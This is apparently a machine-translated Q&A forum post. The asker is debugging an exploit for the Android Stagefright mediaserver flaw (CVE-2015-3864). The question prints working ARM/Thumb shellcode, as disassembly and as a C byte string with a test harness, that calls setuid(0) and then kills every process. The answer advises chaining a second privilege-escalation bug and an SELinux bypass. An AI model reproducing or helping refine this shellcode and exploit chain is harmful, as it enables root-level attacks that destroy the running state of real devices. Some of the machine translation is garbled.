我在android(CVE-2015-3864)中为mediaserver中的漏洞编写漏洞利用程序。目标是运行具有root权限的shellcode(例如kill all processes)。 exploit的每个步骤都按预期工作,直到它到达shell代码(此时shellcode被加载到mediaserver虚拟内存中并且rwx权限被授予它)。 Shell代码如下:
1) e28f3001 add r3, pc, #1 ; 0x1
2) e12fff13 bx r3
3) 1b24 subs r4, r4, r4
4) 1c20 adds r0, r4, #0
5) 2717 movs r7, #23
6) df01 svc 1
7) 1a92 subs r2, r2, r2
8) 1c10 adds r0, r2, #0
9) 3801 subs r0, #1
10) 2109 movs r1, #9
11) 2725 movs r7, #37
12) df01 svc 1
第1行和第2行是手臂模式和拇指模式之间的切换。第3行到第6行是setuid(0),第7到12行是杀死所有正在运行的进程
我使用IDA调试漏洞,我发现shellcript执行到第12行(所有寄存器都具有在shellcode中定义的期望值,例如r7为37)。
我的具体问题是: shellcode无法执行,对我的设备没有影响。
对于测试用例,我编写一个程序并将shellcode作为函数指针运行,如下所示:
`char *SC = "\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x24\x1b\x20\x1c"
"\x17\x27\x01\xdf"
"\x92\x1a\x10\x1c"
"\x01\x38\x09\x21"
"\x25\x27\x01\xdf"`
`
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC))
(*(void(*)()) SC)()
return 0
}`
我将此二进制文件复制到/ system / bin并授予与mediaserver完全相同的权限。我用su权限运行二进制文件,它的工作原理!所有的过程都被杀死了
我的具体问题是:为什么shellcode不能在mediaserver的上下文中执行,但它可以独立执行?
请帮助,我真的陷入这种状态!如果问题不清楚,请反馈我解释一下。
提前谢谢
答案 0 :(得分:1)
我认为你需要提升mediaserver(用户媒体)的特权以杀死所有进程(然后你需要另一个漏洞)。由于SELinux沙箱限制存在另一个问题,这意味着利用libstagefright的mediaserver进程受SELinux策略保护,并且代码执行发生在限制性沙箱中。换句话说,您应该找到SELinux绕行的方法,在nccgroup presentation中您可以找到更多详细信息。
另见this好文章